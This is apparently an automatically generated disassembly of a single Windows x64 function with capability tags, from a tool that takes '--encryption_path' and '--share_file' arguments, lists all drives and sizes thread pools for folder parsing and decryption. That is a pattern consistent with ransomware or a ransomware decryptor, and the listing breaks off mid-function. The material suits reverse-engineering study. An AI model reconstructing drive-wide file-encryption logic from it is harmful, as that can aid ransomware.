Function at 0x140016e10
Capabilities:
Accept command line arguments
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x6b8]
sub rsp, 0x790
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1400a7328]
xor rax, rsp
mov qword [rbp + 0x670], rax
lea rcx, [rbp + 0x4c0]
call fcn.14005ab7c
lea rcx, [rbp + 0x4c0]
call fcn.14005a490
mov r9, rax
lea r8, str.Log__d__m__Y__H__M__S
mov edx, 0x50
lea rcx, [rbp + 0x620]
call fcn.14005a8d0
xorps xmm0, xmm0
movups xmmword [rbp + 0x4c8], xmm0
xor r12d, r12d
mov qword [rbp + 0x4d8], r12
mov qword [rbp + 0x4e0], r12
lea rax, [rbp + 0x620]
mov r13, 0xffffffffffffffff
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x140016eb0
lea rdx, [rbp + 0x620]
lea rcx, [rbp + 0x4c8]
call fcn.1400034b0
lea rdx, [rbp + 0x4c8]
call fcn.140016ac0
xorps xmm0, xmm0
movups xmmword [rbp + 0x400], xmm0
mov ebx, 7
mov word [rbp + 0x400], r12w
movups xmmword [rbp + 0x3e0], xmm0
mov qword [rbp + 0x3f0], r12
mov qword [rbp + 0x3f8], rbx
mov word [rbp + 0x3e0], r12w
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp + 0x3d8]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rdi, rax
xorps xmm0, xmm0
test rax, rax
je 0x1400182d6
xor eax, eax
mov qword [rbp + 0x4a2], rax
mov dword [rbp + 0x4aa], eax
mov word [rbp + 0x4ae], ax
movdqa xmmword [rbp + 0x440], xmm0
mov qword [rbp + 0x450], r12
mov qword [rbp + 0x460], r12
lea ecx, [rbx + 0x59]
call fcn.14004b110
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x458], rax
mov qword [rbp + 0x468], r12
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x470], xmm0
mov qword [rbp + 0x488], r12
lea ecx, [rbx + 0x39]
call fcn.14004b110
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x480], rax
mov qword [rbp + 0x498], r12
lea ecx, [rbx + 0x39]
call fcn.14004b110
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x490], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x4a0], xmm0
mov qword [rbp + 0x4b0], r12
mov qword [rbp + 0x4b8], rbx
mov word [rbp + 0x4a0], r12w
movsxd rdx, dword [rbp + 0x3d8]
mov r8, rdi
lea rcx, [rbp + 0x440]
call fcn.14001dab0
lea rax, [0x1400932e0]
mov qword [rbp + 0x10], rax
lea rax, str.__encryption_path
mov qword [rbp + 0x18], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x60], rax
lea rax, [rbp + 0x20]
mov qword [rsp + 0x68], rax
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rbp + 0xc0], xmm0
lea r8, [rbp + 0xc0]
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x440]
call fcn.140018f80
lea rcx, [rax + 0x10]
lea rdx, [rbp + 0x40]
call fcn.140019f60
movups xmm0, xmmword [rbp + 0x40]
movups xmmword [rbp + 0x400], xmm0
movups xmm6, xmmword [rbp + 0x50]
movups xmmword [rbp + 0x410], xmm6
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], rbx
mov word [rbp + 0x40], r12w
mov rax, qword [rbp + 0x188]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x188], rax
mov rax, qword [rbp + 0x188]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x184], edx
lea rcx, [rbp + 0x198]
call fcn.140018bf0
mov rax, qword [rbp + 0x188]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x188], rax
mov rax, qword [rbp + 0x188]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x184], edx
lea r15, vtable.std::ios_base.0
mov qword [rbp + 0x218], r15
lea rcx, [rbp + 0x218]
call fcn.140040374
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
mov r14d, 2
mov r8d, r14d
lea rdx, [0x14009330c]
lea rcx, [rsp + 0x30]
call fcn.14001ec20
mov rbx, qword [rbp + 0x480]
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x80]
call fcn.14001a180
mov rdx, rax
lea rcx, [rbp + 0x480]
call fcn.14001ee60
mov rsi, rax
mov rdx, qword [rbp + 0x98]
cmp rdx, 8
jb 0x1400171b6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400171b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018481
call fcn.14004b39c
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x1400171f8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400171f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018487
call fcn.14004b39c
lea rax, [0x140093314]
mov qword [rsp + 0x60], rax
lea rax, str.__share_file
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x60]
mov qword [rbp + 0x3b0], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x3b8], rax
movaps xmm0, xmmword [rbp + 0x3b0]
movdqa xmmword [rbp + 0xd0], xmm0
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0x278]
lea rcx, [rbp + 0x440]
call fcn.140018f80
lea rcx, [rax + 0x10]
lea rdx, [rbp + 0x60]
call fcn.140019f60
mov rdx, qword [rbp + 0x3f8]
cmp rdx, 8
jb 0x1400172a4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x3e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001729f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001848d
call fcn.14004b39c
movups xmm0, xmmword [rbp + 0x60]
movups xmmword [rbp + 0x3e0], xmm0
movups xmm1, xmmword [rbp + 0x70]
movups xmmword [rbp + 0x3f0], xmm1
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], 7
mov word [rbp + 0x60], r12w
mov rax, qword [rbp + 0x278]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x278], rax
mov rax, qword [rbp + 0x278]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x274], edx
lea rcx, [rbp + 0x288]
call fcn.140018bf0
mov rax, qword [rbp + 0x278]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x278], rax
mov rax, qword [rbp + 0x278]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x274], edx
mov qword [rbp + 0x308], r15
lea rcx, [rbp + 0x308]
call fcn.140040374
nop
mov rdx, qword [rbp + 0x4b8]
cmp rdx, 8
jb 0x140017392
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x4a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001738d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018493
call fcn.14004b39c
mov qword [rbp + 0x4b0], r12
mov qword [rbp + 0x4b8], 7
mov word [rbp + 0x4a0], r12w
mov r8, qword [rbp + 0x490]
mov r8, qword [r8 + 8]
lea rdx, [rbp + 0x490]
lea rcx, [rbp + 0x490]
call fcn.140026790
mov edx, 0x40
mov rcx, qword [rbp + 0x490]
call fcn.14004b39c
mov r8, qword [rbp + 0x480]
mov r8, qword [r8 + 8]
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0x480]
call fcn.140026790
mov edx, 0x40
mov rcx, qword [rbp + 0x480]
call fcn.14004b39c
lea rcx, [rbp + 0x468]
call fcn.14000f2f0
lea rcx, [rbp + 0x458]
call fcn.140018f10
lea rcx, [rbp + 0x440]
call fcn.14000f2f0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
call fcn.14003fa44
mov rdi, rax
call fcn.14003fa28
cmp rdi, 0x989680
jne 0x140017453
imul rdi, rax, 0x64
jmp 0x14001746f
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
lea rdi, [rax + rcx]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x420], xmm0
mov qword [rbp + 0x430], rax
lea rcx, [rbp + 0x420]
call fcn.14003e7f0
cmp rbx, rsi
je 0x1400175c1
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
mov r8d, 0xe
lea rdx, str.List_of_drives
lea rcx, [rsp + 0x30]
call fcn.1400034b0
mov rcx, qword [0x1400aecd8]
test rcx, rcx
je 0x1400174eb
lea r8, [rsp + 0x30]
mov edx, r14d
call fcn.14000b980
mov rcx, qword [0x1400aecd8]
test rcx, rcx
je 0x1400174eb
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140017528
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017523
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018499
call fcn.14004b39c
mov rbx, qword [rbp + 0x420]
mov rdi, qword [rbp + 0x428]
cmp rbx, rdi
je 0x1400182be
mov rdx, rbx
lea rcx, [rbp + 0x80]
call fcn.14003eb20
mov rcx, qword [0x1400aecd8]
test rcx, rcx
je 0x140017577
mov r8, rax
mov edx, r14d
call fcn.14000b980
mov rcx, qword [0x1400aecd8]
test rcx, rcx
je 0x140017577
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x1400175b8
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400175b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001849f
call fcn.14004b39c
add rbx, 0x20
jmp 0x140017536
lea rcx, [rbp + 0x5f0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ebx, dword [rbp + 0x610]
test ebx, ebx
jne 0x140017673
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
lea r8d, [rbx + 0x11]
lea rdx, str.No_cpu_available_
lea rcx, [rsp + 0x30]
call fcn.1400034b0
mov rcx, qword [0x1400aecd8]
test rcx, rcx
je 0x14001762e
lea r8, [rsp + 0x30]
lea edx, [rbx + 4]
call fcn.14000b980
mov rcx, qword [0x1400aecd8]
test rcx, rcx
je 0x14001762e
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1400182be
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400182b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001847b
jmp 0x1400182b9
mov ecx, 0x30
call fcn.14004b110
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov rcx, rax
call fcn.140042190
mov rsi, rax
mov qword [rbp + 8], rax
test rax, rax
je 0x14001822b
lea rcx, str.2348
call fcn.1400521f8
mov edx, eax
xor r9d, r9d
lea r8, [0x1400a7fc0]
mov rcx, rsi
call fcn.140042670
test eax, eax
jne 0x14001822b
mov qword [rbp + 0x3a8], rsi
cmp ebx, 4
jg 0x1400176e0
cmp ebx, 1
cmove ebx, r14d
add ebx, ebx
imul ecx, ebx, 0x1e
mov eax, 0x51eb851f
imul ecx
mov r8d, edx
sar r8d, 5
mov ecx, r8d
shr ecx, 0x1f
add r8d, ecx
mov dword [rsp + 0x54], r8d
lea ecx, [rbx + rbx*4]
add ecx, ecx
mov eax, 0x51eb851f
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [rsp + 0x50], edx
jne 0x140017728
mov dword [rsp + 0x50], 1
mov edx, 1
sub ebx, edx
sub ebx, r8d
mov dword [rsp + 0x58], ebx
lea rdx, [rsp + 0x54]
lea rcx, [rbp + 0xf0]
call fcn.14000a0d0
mov rbx, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x25
jb 0x1400177dd
lea rax, [r8 + 0x25]
mov qword [rbx + 0x10], rax
mov rsi, rbx
cmp rcx, 0x10
jb 0x140017771
mov rsi, qword [rbx]
lea rax, [0x1400933c5]
mov r12d, 0x25
lea r15, str.Number_of_thread_to_folder_parsers_
cmp rax, rsi
jbe 0x1400177a5
lea rax, [rsi + r8]
cmp r15, rax
ja 0x1400177a5
cmp rsi, r15
ja 0x14001779d
xor r14d, r14d
jmp 0x1400177a8
mov r14, rsi
sub r14, r15
jmp 0x1400177a8
mov r14, r12
inc r8
lea rcx, [rsi + 0x25]
mov rdx, rsi
call fcn.14004d3e0
mov r8, r14
mov rdx, r15
mov rcx, rsi
call fcn.14004d3e0
sub r12, r14
lea rdx, [r15 + 0x25]
add rdx, r14
lea rcx, [rsi + r14]
mov r8, r12
call fcn.14004d3e0
jmp 0x140017802
mov r12d, 0x25
mov qword [rsp + 0x28], r12
lea r15, str.Number_of_thread_to_folder_parsers_
mov qword [rsp + 0x20], r15
mov edx, r12d
mov rcx, rbx
call fcn.14000bb30
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xor r14d, r14d
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r14b
mov rcx, qword [0x1400aecd8]
test rcx, rcx
je 0x14001785d
lea r8, [rbp - 0x70]
lea edx, [r14 + 2]
call fcn.14000b980
mov rcx, qword [0x1400aecd8]
test rcx, rcx
je 0x14001785d
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140017898
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017893
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400184a5
call fcn.14004b39c
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r14b
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x1400178e9
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400178e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400184a5
call fcn.14004b39c
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x110]
call fcn.14000a0d0
mov rbx, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x2a
jb 0x14001798f
lea rax, [r8 + 0x2a]
mov qword [rbx + 0x10], rax
mov rsi, rbx
cmp rcx, 0x10
jb 0x140017925
mov rsi, qword [rbx]
lea rax, [0x1400933f2]
mov r12d, 0x2a
lea r15, str.Number_of_thread_to_root_folder_parsers_
cmp rax, rsi
jbe 0x140017954
lea rax, [rsi + r8]
cmp r15, rax
ja 0x140017954
cmp rsi, r15
jbe 0x140017957
mov r14, rsi
sub r14, r15
jmp 0x140017957
mov r14, r12
inc r8
lea rcx, [rsi + 0x2a]
mov rdx, rsi
call fcn.14004d3e0
mov r8, r14
mov rdx, r15
mov rcx, rsi
call fcn.14004d3e0
sub r12, r14
lea rdx, [r15 + 0x2a]
add rdx, r14
lea rcx, [rsi + r14]
mov r8, r12
call fcn.14004d3e0
xor r14d, r14d
jmp 0x1400179b4
mov r12d, 0x2a
mov qword [rsp + 0x28], r12
lea r15, str.Number_of_thread_to_root_folder_parsers_
mov qword [rsp + 0x20], r15
mov edx, r12d
mov rcx, rbx
call fcn.14000bb30
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r14
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [0x1400aecd8]
test rcx, rcx
je 0x140017a0d
lea r8, [rbp - 0x50]
mov edx, 2
call fcn.14000b980
mov rcx, qword [0x1400aecd8]
test rcx, rcx
je 0x140017a0d
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x140017a48
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017a43
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400184ab
call fcn.14004b39c
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp + 0x128]
cmp rdx, 0x10
jb 0x140017a99
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017a94
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400184ab
call fcn.14004b39c
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x130]
call fcn.14000a0d0
mov rbx, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x1f
jb 0x140017b3c
lea rax, [r8 + 0x1f]
mov qword [rbx + 0x10], rax
mov rsi, rbx
cmp rcx, 0x10
jb 0x140017ad5
mov rsi, qword [rbx]
lea rax, [0x140093417]
mov r12d, 0x1f
lea r15, str.Number_of_threads_to_decrypt_
cmp rax, rsi
jbe 0x140017b04
lea rax, [rsi + r8]
cmp r15, rax
ja 0x140017b04
cmp rsi, r15
jbe 0x140017b07
mov r14, rsi
sub r14, r15
jmp 0x140017b07
mov r14, r12
inc r8
lea rcx, [rsi + 0x1f]
mov rdx, rsi
call fcn.14004d3e0
mov r8, r14
mov rdx, r15
mov rcx, rsi
call fcn.14004d3e0
sub r12, r14
lea rdx, [r15 + 0x1f]
add rdx, r14
lea rcx, [rsi + r14]
mov r8, r12
call fcn.14004d3e0
jmp 0x140017b61
mov r12d, 0x1f
mov qword [rsp + 0x28], r12
lea r15, str.Number_of_threads_to_decrypt_
mov qword [rsp + 0x20], r15
mov edx, r12d
mov rcx, rbx
call fcn.14000bb30
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xor r12d, r12d
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r12b
mov rcx, qword [0x1400aecd8]
test rcx, rcx
je 0x140017bc0
lea r8, [rsp + 0x70]
lea edx, [r12 + 2]
call fcn.14000b980
mov rcx, qword [0x1400aecd8]
test rcx, rcx
je 0x140017bc0
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140017bfc
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017bf7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400184b1
call fcn.14004b39c
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], r12b
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x140017c4e
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017c49
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400184b1
call fcn.14004b39c
mov ecx, 0x180
call fcn.14004b110
mov r14, rax
mov dword [rax + 8], 1
mov dword [rax + 0xc], 1
lea rax, vtable.std::_Ref_count_obj2_class_ThreadPool_.0
mov qword [r14], rax
lea r15, [r14 + 0x10]
mov r8d, dword [rsp + 0x50]
mov edx, dword [rsp + 0x54]
mov rcx, r15
call fcn.14003b950
test r15, r15
je 0x140017cfd
mov rax, qword [r15 + 8]
test rax, rax
je 0x140017c9c
cmp dword [rax + 8], r12d
jne 0x140017cfd
lock inc dword [r14 + 8]
lock inc dword [r14 + 0xc]
mov qword [r15], r15
mov rcx, qword [r15 + 8]
mov qword [r15 + 8], r14
test rcx, rcx
je 0x140017cc9
mov eax, r13d
lock xadd dword [rcx + 0xc], eax
cmp eax, 1
jne 0x140017cc9
mov rax, qword [rcx]
call qword [rax + 8]
mov eax, r13d
lock xadd dword [r14 + 8], eax
cmp eax, 1
jne 0x140017cf6
mov rax, qword [r14]
mov rcx, r14
call qword [rax]
mov eax, r13d
lock xadd dword [r14 + 0xc], eax
cmp eax, 1
jne 0x140017cf6
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 8]
movups xmm6, xmmword [rbp + 0x410]
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b0], xmm0
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x3b0]
call fcn.14001df70
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3c0], xmm0
mov qword [rbp + 0x3d0], r12
cmp qword [rbp + 0x3f0], r12
je 0x140017da0
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x170]
call fcn.14000db70
lea rcx, [rbp + 0x3c0]
cmp rcx, rax
je 0x140017d8b
mov rbx, qword [rax]
mov qword [rbp + 0x3c0], rbx
mov rcx, qword [rax + 8]
mov qword [rbp + 0x3c8], rcx
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x3d0], rcx
mov qword [rax], r12
mov qword [rax + 8], r12
mov qword [rax + 0x10], r12
lea rcx, [rbp + 0x170]
call fcn.14000f2f0
jmp 0x140017da7
mov rbx, qword [rbp + 0x3c0]
lea rcx, [rbp + 0x170]
call fcn.14000f2f0
jmp 0x140017da7
mov rbx, qword [rbp + 0x3c0]
movq rax, xmm6
mov rsi, qword [rbp + 0x3b8]
test rax, rax
je 0x140017e21
movups xmm0, xmmword [rbp + 0x400]
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x160], xmm6
mov qword [rbp + 0x418], 7
mov word [rbp + 0x400], r12w
test rsi, rsi
je 0x140017df0
lock inc dword [rsi + 8]
mov rsi, qword [rbp + 0x3b8]
movaps xmm0, xmmword [rbp + 0x3b0]
movdqa xmmword [rbp + 0xe0], xmm0
lea r9, [rbp + 0x3a8]
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0xe0]
mov rcx, r15
call fcn.14003bad0
jmp 0x140017f0e
cmp rbx, qword [rbp + 0x3c8]
je 0x140017e91
nop word [rax + rax]
mov rdx, rbx
lea rcx, [rbp + 0x368]
call fcn.140019bc0
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xa0], xmm0
test rsi, rsi
je 0x140017e5a
lock inc dword [rsi + 8]
mov rsi, qword [rbp + 0x3b8]
movaps xmm0, xmmword [rbp + 0x3b0]
movdqa xmmword [rbp + 0xa0], xmm0
lea r9, [rbp + 0x3a8]
mov r8, rax
lea rdx, [rbp + 0xa0]
mov rcx, r15
call fcn.14003bad0
add rbx, 0x20
cmp rbx, qword [rbp + 0x3c8]
jne 0x140017e30
jmp 0x140017f0e
mov r12, qword [rbp + 0x428]
mov rbx, qword [rbp + 0x420]
cmp rbx, r12
je 0x140017f0b
nop dword [rax]
nop dword [rax + rax]
mov rdx, rbx
lea rcx, [rbp + 0x388]
call fcn.140019bc0
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xb0], xmm0
test rsi, rsi
je 0x140017eda
lock inc dword [rsi + 8]
mov rsi, qword [rbp + 0x3b8]
movaps xmm0, xmmword [rbp + 0x3b0]
movdqa xmmword [rbp + 0xb0], xmm0
lea r9, [rbp + 0x3a8]
mov r8, rax
lea rdx, [rbp + 0xb0]
mov rcx, r15
call fcn.14003bad0
add rbx, 0x20
cmp rbx, r12
jne 0x140017eb0
xor r12d, r12d
cmp dword [r15 + 0x34], 0
je 0x140017f1e
mov rcx, qword [r15 + 0x20]
call fcn.14003b790
mov rcx, qword [r15 + 0x10]
call fcn.14003b790
mov rbx, qword [rbp + 0x3b0]
cmp dword [rbx + 0x34], 0
je 0x140017f3d
mov rcx, qword [rbx + 0x20]
call fcn.14003b790
mov rcx, qword [rbx + 0x10]
call fcn.14003b790
mov rcx, qword [rbp + 8]
call fcn.1400425e0
xor edx, edx
mov rcx, qword [rbp + 8]
call fcn.14004b39c
call fcn.14003fa44
mov rbx, rax
call fcn.14003fa28
cmp rbx, 0x989680
jne 0x140017f76
imul rbx, rax, 0x64
jmp 0x140017f97
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
mov rbx, rax
imul rax, rcx, 0x3b9aca00
add rbx, rax
sub rbx, rdi
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x4f0]
call fcn.14004da80
mov edx, 1
lea rcx, [rbp + 0x4f0]
call fcn.14000ae10
movabs rax, 0x431bde82d7b634db
imul rbx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rbp + 0x500]
call fcn.140023b30
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
xor eax, eax
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rax
mov ecx, dword [rbp + 0x578]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x14001804a
mov rax, qword [rbp + 0x548]
mov r8, qword [rax]
test r8, r8
je 0x14001804a
mov rax, qword [rbp + 0x528]
mov rdx, qword [rax]
mov qword [rbp - 0x10], rdx
cmp r8, qword [rbp + 0x570]
cmovb r8, qword [rbp + 0x570]
sub r8, rdx
mov qword [rbp - 8], r8
jmp 0x14001808a
test cl, 4
jne 0x140018082
mov rax, qword [rbp + 0x540]
mov rcx, qword [rax]
test rcx, rcx
je 0x140018082
mov rax, qword [rbp + 0x520]
mov rdx, qword [rax]
mov qword [rbp - 0x10], rdx
mov rax, qword [rbp + 0x558]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
mov qword [rbp - 8], r8
jmp 0x14001808a
mov r8, qword [rbp - 8]
mov rdx, qword [rbp - 0x10]
test rdx, rdx
je 0x140018098
lea rcx, [rbp + 0x20]
call fcn.140007f70
lea rcx, [rbp + 0x4f0]
call fcn.140006f60
mov r8d, 3
lea rdx, [0x140093418]
lea rcx, [rbp + 0x20]
call fcn.1400033f0
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [0x1400aecd8]
test rcx, rcx
je 0x140018113
lea r8, [rbp - 0x30]
mov edx, 2
call fcn.14000b980
mov rcx, qword [0x1400aecd8]
test rcx, rcx
je 0x140018113
mov rax, qword [rcx]
call qword [rax + 0x18]
